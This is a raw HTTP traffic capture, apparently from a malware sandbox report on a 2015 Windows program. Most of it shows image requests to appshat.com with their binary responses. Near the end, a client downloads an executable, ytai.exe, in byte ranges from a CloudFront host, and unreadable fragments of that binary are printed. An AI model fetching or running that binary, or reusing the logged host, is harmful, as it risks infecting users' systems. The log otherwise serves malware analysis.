Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:55 GMT
Content-Type: image/jpeg
Content-Length: 18198
Last-Modified: Thu, 13 Jun 2013 17:15:43 GMT
Connection: keep-alive
ETag: "51b9fe3f-4716"
Expires: Thu, 12 Feb 2015 06:03:55 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
......JFIF.............C................................... $.' ",#..(
7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222
222222222222222222222...........".....................................
.......................}........!1A..Qa."q.2....#B...R..$3br........%&
'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...........................
......................................................................
.............................w.......!1..AQ.aq."2...B.....#3R..br...$4
.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................
................................................................?....(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(
...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(..
.(...(...(...(...(...(...(...(...(...(...(.......q.....B...Z......X.D.
.TT.,[GF...^4.....WV....../..W.Hr.[.`.;....SKD.O1.....h..Q... MQ.U.m S
.....8: ...6.t1..........'..`T:f.-.1N.F.2N..;Y{....n..^c......V....c..
..4.y...X...H..q......m4.B.M..R.Da~eld..Z..b..\rJ.ms/......p.W.%...u.;
...R.p....!..l..T.mv:....~~..O9.......b9...c.).....v..c9..............
....G.E..<....c.)|..X....?.............<...o*<.....Z.~.k.
<<< skipped >>>

GET /thumbnails/icon/images/assets/e/5/e54e8c720dffffa619c3b0eacec9381a.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:55 GMT
Content-Type: image/png
Content-Length: 53266
Last-Modified: Thu, 13 Jun 2013 17:53:06 GMT
Connection: keep-alive
ETag: "51ba0702-d012"
Expires: Thu, 12 Feb 2015 06:03:55 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......sBIT....|.d.....pHYs...........~.
....tEXtSoftware.Adobe Fireworks CS5q..6....tEXtCreation Time.3/8/12bk
.... .IDATx...y.\.u/.jw.9G....c. C...;.  .&..2z..H.\..$..y....../..O|.
..I.5J.3v0F.....{.D0...f.1...61H.q.....{....=..VU..N.....].j....k..k.)
%0....../D.V..`0..F......`0.c.v.......C...`0..........`0....0....1.`..
.`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....0....
1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`0....
0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0..........`
0....0....1.`...`0..1.;.....`.!..`0...c......`0.c.v.......C...`0......
..B.S..C...g...?..g.....G..5\..B .,.....m.Jb[....- N.....a0..R}.r..1..
.w...g..".....S.....T.NF&n.f.%D.................0... .......T...'.w.).
i .e.R._a......g<eT..c9..x...(............%*.`xA.R.<...$jW......
.ih&.vaan../.LV..[...>.......M.X'.z...,.8b..e.W......8...J..`..S..Q
.......J..Ie..}z...G........D..t?..h.T....L..0..k...:p..1t.]y.....t...
...x.......y|y..../........%X9N.}.b2r..8..o..f0.....(a...H..j.R={.....
.K.....O9...W...a..16u..G..h.5.......#R...0....0... .:_.8^.......<t
x.go~.v...a7..5.9c-......R.J.B.>..b..:g./..8~....K..`..S...A.......
Ag.?......LW..g7..T"5..CxM....~.^ ..&....~cF...{[email protected]
$.N.....Qi].3q.f.s...q..H..N...Mcl.......~.....9.......S..fZ....!.....
0... .:A.x.H.....w7......'[email protected]
OF.....`.5...".j.r..........w-.S2*.0G....Q.i..R.2.._........P..=..."..
d....`..S_<...p.....\.5?...g.w....3.y.E~^)..q&.`..h.M>..~..B
<<< skipped >>>

GET /thumbnails/icon/images/assets/8/3/83a4cee7a59522b93ed0ae1fa73ce8f3.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:55 GMT
Content-Type: image/png
Content-Length: 48422
Last-Modified: Thu, 13 Jun 2013 18:07:09 GMT
Connection: keep-alive
ETag: "51ba0a4d-bd26"
Expires: Thu, 12 Feb 2015 06:03:55 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......pHYs................MiCCPPhotosho
p ICC profile..x..SwX...>..e.VB....l.."#[email protected]..
..H....(.gA..Z.U\8.....}z............y.....&...j.9R.<:...OH......H.
. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....
ly|B"......I>..................(G$.@..`U.R,......@"......Y.2G.....v
.X..@`...B,.. 8..C.... L..0...._p..H.......K.3.....w....!..l.Ba.).f.."
...#.H..L.........8?......f.l.....k.o">!.........N..._....p...u.k.[
..V.h..][email protected].<......%b..0..>[email protected].@...
...qanv.R....B1n..#......)..4.\,...X..P"M.y.R.D!......2......w....O.N.
...l.~.....X.v.@~.-......g42y.......@ ...........\...L....D..*.A......
........a.D@.$.<.B........A.T.:.............18....\..p..`........A.
..a!:..b.."......"aH4... ...Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u
@.......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v..
..a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._
.H$....N.!%.2I.IkH.H-.S.>..i.L&..m....... ......O.......:...L..$R..
.J5e?....2B...Q.......:.ZIm.vP/S...4u.%...C..-....igi.h/.t.....E....k.
......w......Hb(.k.{...../.L......T0.2..g...oUX*.*|.....:.V.~...TUsU?.
y..T.U..^V}.FU.P.........U..6..RwR.P.Q_.._...c....F..H.Tc....!..2e.XB.
rV..,k.Mb[...Lv...v/{LSCs.f.f.f..q.......9..J.!...{-.-?-..j.f.~.7.z...
b.r......up.@.,..:m:.u..6.Q....u..>.c.y.........G.m..........704.6.
.l18c...c.k.i........h...h..I.'.&..g.5x.>f.o.b.4.e.k<abi2.......
)..k.f....t...,.......9..k.a........E..J.6.....|...M....V>VyV.V
<<< skipped >>>

GET /thumbnails/icon/images/assets/2/3/23428f8768d928d2bd45dd3b0c4d0057.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0



...Q.w.....*F.g.W ..af[.H.[Bms.........]..3. FWX.. 7.......H.JK.l.`.9.
U.w.Km.....7. ..c:0... P..].......q.....7...u........j..>.,.T.^....
.....Tu.J~.Y.du@#.....x...?V..*@.....i...5.p...O\..........Ay....,.FC.
!...KG.....y........si.R,......,.s...........|..s....)g..\e.../_.:.e.D
...h.#[email protected])..B....D7l~q.Lb.D.c.n....1.....D.E.iGmd<.5.
......Z2#...%[email protected]...'....)....`....l0ch.
P$.Z.du...W.u.....@?D..D1.J...uL1%9s......g(g2.R..K....L.{g?C)........
.Z......g=po..*.....9d...<..[[email protected].];.:.U....
).!.........T.G.\...2Q.K...C..(q....D.z.."u:!..*...q.".....}:...^..o..
.,6........S....x.Br.o_M!....`.T.j...7_.r.........f.;[email protected]
....'..^..QE7k<..8.....c....W.x..|"g....$...%....\&..5i.kJ_.(.!.4.*
....b.u..$..{.'..cg...KW$ogJH6...a....I...".w u.....nQ.........#..ci.N
..q|...../.w.YyL..........U.H.D..k....U..).....i...i.....{<~Ef..r..
.d.....Us.../...B7.u*...]U....M)...sV [email protected]~O~.N./....D....6..f.
H...!.I(7..i....R.....}..7....o..7..\.o..[[email protected]..].G...)...).
.\ ..W..lP..V..I4..F.L...T.e.6...}2....k.\.r..R.......Nh).BS.....mlb.H
...L.._......G..6.....5._....X..^.....i'.X .;.S.;@d...^..E..i..y..P...
.FUp4,.4..........VyH........~ox...A.d...G...X.?....:.n............`c.
........=$.JHXc..%`J..R. t.3....J.>"$..|..5.4....:e..u...95..|.C...
...\1...T:.:l......(Q....]......[xo~......(..3.......N...l.qY^;..?#q*v
...5,.y...9A4[`T.P..f"......9...ttL...n..'......`.[A..9..U(.eS........
P..~&...HC..U.F.:......:[email protected]
<<< skipped >>>

GET /thumbnails/icon/images/assets/7/c/7c9d412c730603d1d82b98a548a71bac.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:56 GMT
Content-Type: image/png
Content-Length: 124611
Last-Modified: Thu, 13 Jun 2013 17:45:46 GMT
Connection: keep-alive
ETag: "51ba054a-1e6c3"
Expires: Thu, 12 Feb 2015 06:03:56 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;...fiTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCe
hiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk=
"Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00        "> &
lt;rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#">
 <rdf:Description rdf:about="" xmlns:xmpMM="hXXp://ns.adobe.com/xap
/1.0/mm/" xmlns:stRef="hXXp://ns.adobe.com/xap/1.0/sType/ResourceRef#"
 xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xm
p.did:4F00C5A3332268119508BA30823818B3" xmpMM:DocumentID="xmp.did:1274
AE2EF04511DFA81FE5364B1135AE" xmpMM:InstanceID="xmp.iid:1274AE2DF04511
DFA81FE5364B1135AE" xmp:CreatorTool="Adobe Photoshop CS5 Macintosh">
; <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:09801174072068118DBB
CF4BA33A4CD7" stRef:documentID="xmp.did:4F00C5A3332268119508BA30823818
B3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 
<?xpacket end="r"?>#..)....IDATx..}...E.........!. H.........T&l
t;...T..~.....P.....Q...B./...r.%[email protected].]].
]....3.9PQQQQQQY.$.)[email protected].@EEEE
EEE.........5.TTTTTTT..PQQQQQQQ.@EEEEEEE.........5.TTTTTTT..PQQQQQQQ.@
EEEEEEE.........5.TTTTTTT..PQQQQQQQ.@EEEEEE.........5.TTTTTTT..PQQQQQQ
[email protected][email protected]
[email protected][email protected]..
[email protected].@EEEEEEE..........[.
<<< skipped >>>

GET /thumbnails/icon/images/assets/a/c/ac5196fbf245580eee113296dff14d0b.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:56 GMT
Content-Type: image/png
Content-Length: 154830
Last-Modified: Thu, 13 Jun 2013 17:45:49 GMT
Connection: keep-alive
ETag: "51ba054d-25cce"
Expires: Thu, 12 Feb 2015 06:03:56 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR.....................pHYs................ cHRM..m...s.
...u......z....g..0[....P.W...\TIDATx...o.^Ev....R.....h...h4......a0.
....L..,K0...L.!.....b..!....B.K0fYB0&,a.a.a....h.Y ..v..h5.Y#...hZ.U.
..m..{..9u.G....y...~.{...S.|......B..)R.H."E..)R.H."E.....(R.H."E..)R
.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H
."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H.
...)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E
..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..
)R.H."E..)R.H....)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..)
.@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.
H."E..).@."E..)R.H."E..)R...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H.
"E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."
..(R.H."E..)R.H."E....H."E..)R.H."E..)R.."E..)R.H."E..)R.H....)R.H."E.
.)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R...E..)
R.H."E..)R.H....)R.H."E..)R.H."E..P.H."E..)R.H."E..).@."E..)R.H."E..)R
...E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."E..)R.H
."E..)R.."E..)R.H."E..)R.H....)R.H."E..)R.H."..(R.H."E..)R.H."E....H."
E..)R.H."E..)R.."E..)R.H."E..)R...E..)R.H."E..)R.H..w.*]..%.N...|...,.
4\].U...uMu=..^R.....7V?WWn...T.......zju=...W{..a..`.H."E..)R..K|....
:Y].U...u..n...t/..............|[email protected]..
^\]WU........Y.\)....:Q] ..S9....uau.S].W....._.|m...............e..)R
.H."E.|_.T..........[...l..=..WV.3.keO..H....... .8.....Wx.....Z..
<<< skipped >>>

GET /thumbnails/icon/images/assets/0/0/00c73f6d4e4eb25289dddb86e2d1e319.jpg HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0

GET /images/bg_main.jpg HTTP/1.1
Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0



.?.O...5.?....s...@....?OD.i#.....;9...p...{..B..< .......*......p.
[email protected]..?=........O.R.............H.p......?......
[email protected].)........._.T.h.....3...R`.9.
..&.R.$..p..1.8....H....88........;.!.[.Qu...{LO'.(...|.`.|.p.|.p_ ...
. h..t......R...Pa.A.8.=Q.....4....}....X..l.O.......k?...S.G.._.....a
..t.v..o...V..I.<[email protected].._.R.*^.._.v....7....,..!GA........_
..3C..Q....%...."....F.8.....#.?[...z...%~.....p..........I... }....c6
D....?..M....%..>..#..^. .......5....1..Q.......SD....y..]k...q..(P
R&.R....LoS.3......d..........8.....)..3..&.G....G..N....'.'......G=..
o.pB@?.....@.?........i....F..7...I.....Z.....kA.G...U.(H.. .0..".....
=..)...0.......B.j|...;.G.}......;..D.O....M.......l.X....#....O-d....
..)..?..S.j[......o.....:...*.L...?.y...kS.sI....p...98...P..T..?V..# 
V.`..'[email protected]@ .....`QA ...#...P..p.?...
..EM....T\.#.p." q(a..s...........?ZM..DE.l*.D.D.L**eSQ<..3...*....
..@2\.#...u....H..."..........?P...X6.A.s.#.(....t..=..|[email protected]=\k..
..v.....k.-m.d....w......^..v?...^........i........w".O.?...N...k.)..Y
..u..:.........0.?s.......5zZ...(w.A....N..g...O\W..d~........?.......
._.w...M../.a7E........)W........A.6\..R..].|p~....D.D....8z.......A?.
.g........I....)T..X........h..R.E................1.o.@./0...?.5..m},.
i  .7.......T.%..W..?.."..&.L.."z..p......O.z.................... ....
.Ej...pz).......F...P.....?*.7.....#......n.>.&.w...OC....d...()...
O.....J...p.N...........9.Ueag8......j..nH.........o.q%}....."..."
<<< skipped >>>

GET /thumbnails/icon/images/assets/4/4/442a5f30204dd385d17de5848683274f.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:57 GMT
Content-Type: image/png
Content-Length: 240897
Last-Modified: Thu, 13 Jun 2013 17:01:22 GMT
Connection: keep-alive
ETag: "51b9fae2-3ad01"
Expires: Thu, 12 Feb 2015 06:03:57 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......tEXtSoftware.Adobe ImageReadyq.e&
lt;....IDATx...i.m.Q.....s.....I%UI%.*[email protected].{u..G....
...n..1... 0X.B [email protected]...;...33"....$..
0=^.q0.....p.....y ...y..^...?.M.lzL.......&....5.._....~......u!...s.
.\8O......p>.....D8.....M.;M.........c).....p...7.sy:4.czL.....<
.33=..G/.30.3..A.'..........`i5._.....?._.....O...r.H...|g8...}3...1=.
. .8xp.N.<...?"._.......?ra.k......7.|;.r...|&...._2r0=....1..w....
|.tH......N.../..p...yd.>........_w..s.&.1`......{0.......=u.^.G..&
gt;..................8th...3. ...ex.].a.......p.^.......!s.>......@
..L..W...?.?...r.?=.........}.W...._.7..;......=...k.v....\N..W......3
".......?....2'^[email protected].|8..n..czL.W..p`........f...9..;2.........#..
....~................m~.1..a.G../...zL...j=.]....~.......#p.....c}...e
...1.ul .e...S...u.... 3@?.....hM..1=....8....@...=..........?.5k.;9..
v.'....lK.......2="....a....q........#../.....w...?s.a8..K...s}09.p...
.....JJ.....;...........p...5..czL..1=..o.....y..x...`.wi.t...........
.<.6gf.......\....y.t.O..1=.........w...w.D.......i.|{#...f.9....:.
{|DH...k8_3]..czL..q.cye~....]^s~......}U.9y...O. 4..Js..,.w..r8.=]..c
zL..q............/...~u!....l..................0.....czL..C..._....k..
~.7:m.6=..j....q,......).ozL..1=^..r.. .."..R....i.s>n`[.a.]S..E.Q.
?.w..t^M..1=...A.........pde:...!.]..:.W....o!.3.....1=...xq.....r.v".
.-...\.:...".a..m...x9.....>......`{u..k.0Z...........V..k....D....
':.~G../.._....7....7..M`.&%..]..%..d.'~...au...,....P}/...Z..Qy.\
<<< skipped >>>

GET /thumbnails/icon/images/assets/b/8/b85261679e262228a562f693b3e6ef6f.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: image/png
Content-Length: 384145
Last-Modified: Thu, 13 Jun 2013 17:44:34 GMT
Connection: keep-alive
ETag: "51ba0502-5dc91"
Expires: Thu, 12 Feb 2015 06:03:58 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x.... .IDATx...K.u.....yYk...~.) .s*...P
.B..!.T.BAu.."....#IC;j......`...D.-..B4$i...((E..K........s.1..1...}.
_1.R.?...p..]{.=.\s...g<c,..7....*.5.......*.............j.&.._....
...."B .j....(..k.@...#(..;.wX.c.>6.k.....'".....H....{....).......
[email protected].....?}...... ......M...}...|A...}......m=<........c..G
..<..}... |....x._|8....F..Y.>.......A.c...x...........n?.......
0...y~7.....&v.......<....7.....}.|\....<..yH.i..y.........'(...
......z.a..~.......{..O......./.9.8..0.>g..........~.8..;..>>
.o.-.w..X...)g._..*.&...U.K..S....7.......n....h.....NX......>..q..
5A.4OO.p...kQ.......?/...i....~.SD.;r....~....g.~".~:...#.....(.. ..@.
p.4..Ia.h5?...........,....... .............|...c..<.a.....[x.N....
v.?.........3h.D}...;w.t.O..;[email protected]...>...l....
y.N........~.g..|..A....._7l.......<..|.o.v..}...U......y.C..D....a
[email protected]....~)z...r..6../=.`..w.@...#x....\....R.!....
}...~...k.=...z.......d......>..?......)t'.|.O......y|r.;......>
..G.?.t..4.h T..5..WQ.oL._D..T.=.n.~k.....X..}.?...D.n..H"..@..".~.ND.
.......Z....<9Pr.....* n.Bx...........5............<..q..n@v'...
XQy.K.......A..9v......l..q.O.#........'....s..W..#.|../..e.vv.....(T.
.........>@.E.>Y.....%.}.......l\..._.9.....w..@t....~..........
..C..S.......v.......a...T.....>./b.............W?.ch..gw....O...D_
.a..[.O................?.?..........=...p.}B.........`DD....U....)=...
O....N....C.1....#....S.......?.k.4~.......B..\.1W.}...Bt......<
<<< skipped >>>

GET /thumbnails/icon/images/assets/5/6/567f43cb72fe3ac6419369953394cadd.png HTTP/1.1


Accept: */*
Referer: hXXp://VVV.appshat.com/home
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.appshat.com
Connection: Keep-Alive
Cookie: symfony=cchinanbfiaeile2qq478lf7m0


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 12 Feb 2015 05:33:58 GMT
Content-Type: image/png
Content-Length: 606635
Last-Modified: Thu, 13 Jun 2013 17:49:29 GMT
Connection: keep-alive
ETag: "51ba0629-941ab"
Expires: Thu, 12 Feb 2015 06:03:58 GMT
Cache-Control: max-age=1800
Accept-Ranges: bytes
.PNG........IHDR..............x......sRGB.........gAMA......a.....pHYs
..........o.d....tEXtSoftware.Paint.NET v3.5.87;.]....IDATx^....%Yr...
.v..5^^......=.F..*]...:...Z..Z..].u.h.........}..TU7.|...$.I.m.'N.8..
}.r........}.~.w......T............k...[..?O).......3....Y..]...z.....
.v....}W........W>....W.sZ..e.....r.......u.z>.svz.....sry.s.8..
o..T...].~.......w..o.|.. ...c]....._....e.......1<.....y.....`.6..
......c.._r1........p......AJo.8.......).....go.E....../.<]z.g...?N
W_..t..?H...I:......?f..t...............$.z...?L...Qz.....8.r.........
.{......n...b....1...iz....[7^M..|-........Mo_z5}p.|z..........;......
s.............J.]?...r:.}.t.........c......>...z....|.~.>..w..'7
]..q.}....X'..q.Oc.A.!..b|..#................|..}ru...|y;}r..W.|e .?..
.~..........e.qe...9'.c|ry }...6.?....?...>.......u....].f~.....7..
O.18~L.|....).G...5|r.{z..r>.p..].M.]^.....\.2.l9.{z-.wn.....:?....
..>...:.N.O-...g.k...o..8...o.\.x.[<.....-..<.>.X.1~..^.:.
w.....ka......]..:....d...e......>..<g..G7y.7......3.Y|.......:]
.]>..p.^1........d..n....o......o..7.1.....d....47..&.....}-=r.....
...~...o6..........H........ p......b9.!..:...d.....t.....W.@  \.._...
.\.^P.w.... u.{A....@_...y.......W.~.. ..uy....{A..........{o ......Qs
.>.O.:<_...............j.,.<..g`.]al....K..A.....,....Vl.1..I
..')}.3...>..x....o.yz.._../.q....NO.........O..._.?]..~z.q..'..S..
.n}....^..x.....O}....^.../.z....c..0.^..n..!..S..7X...^J.>.1..k..[
O.wo..>x.j..[...[......;.X..%}..={.@9.>>.6...r~..?b|..YG.
<<< skipped >>>


GET /ytai.exe HTTP/1.1
Range: bytes=250000-499999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3dle8xo1zpfnz.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT
Accept-Ranges: bytes
ETag: "76e36b728e29d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:38 GMT
Content-Range: bytes 250000-499999/1206160
X-Cache: Miss from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7o4KldPW33wCK-Z8io0p5ZQalg7-o26snduzOqGA87uUdON_cPOPyw==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 12 Feb 2015 05:32:38 GMT..Content-Range: bytes 2500
00-499999/1206160..X-Cache: Miss from cloudfront..Via: 1.1 2b7e0587e76
bdc8afc2d63bea659b942.cloudfront.net (CloudFront)..X-Amz-Cf-Id: 7o4Kld
PW33wCK-Z8io0p5ZQalg7-o26snduzOqGA87uUdON_cPOPyw==...W..V..YPW..$H....
&F....$.....j.....$(......$......$.......$....j..C.$......$.....D$....
M.X9.$$....0.M..t$..C.$....9.$....S.C.$....9...M.W.C...M.9.D.M...$L...
.C.0.M...$`.....C.$L...3.W.5..M.RQP..$....h..J.P.......(..$....j.WhP.M
..ES..3...$......$......$..........$....f..$......$(..........d$,h.VK.
..R....$@......$@......$p....bc.......$(.....x..r...P..$.....oR....$(.
...3.WC..$\...S..V..j.W.....$......$........d$4.C.$....P.L$P.KQ....$H.
.....$H......$...........$H......$....P..$$....$P.......$0......$`...P
.JC....$(......$X...P..$......Q....$(......$X...WS..V....$(......$....
WS..U....$(......$....WS..U....$p..........$(.....W.j....D$.[h.....*q.
...Y.T$,..$(......t:..$.......$p.....$.....C.$p.....$.....Q.C.$....QP.
..........$(............3..D$$.D$(.D$..D$ .D$4.D$8.D$$P..d.I..D$.P..h.
I..G.j.j..H............x..G.j..H.........P..D$4P..h.I..L$4 L$..T$8.T$ 
.^.....Y...K..T$(.L$$...D$,.C......L$,..^...XL$.f.(....D$......D$.Kj._
..........^...K.QQ.L$L...D$........$(.....L$D...L$........$(...P.L
<<< skipped >>>

GET /ytai.exe HTTP/1.1


Range: bytes=750000-999999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d3dle8xo1zpfnz.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT
Accept-Ranges: bytes
ETag: "76e36b728e29d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 12 Feb 2015 05:32:40 GMT
Content-Range: bytes 750000-999999/1206160
X-Cache: Miss from cloudfront
Via: 1.1 2b7e0587e76bdc8afc2d63bea659b942.cloudfront.net (CloudFront)
X-Amz-Cf-Id: FuVFRe0QJe9KwkdrP4Y9iuSo0VPVScrrTnfAcPscf4qwRCtMtJAVFA==
HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 250000..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Thu, 12 Feb 2015 05:32:40 GMT..Content-Range: bytes 7500
00-999999/1206160..X-Cache: Miss from cloudfront..Via: 1.1 2b7e0587e76
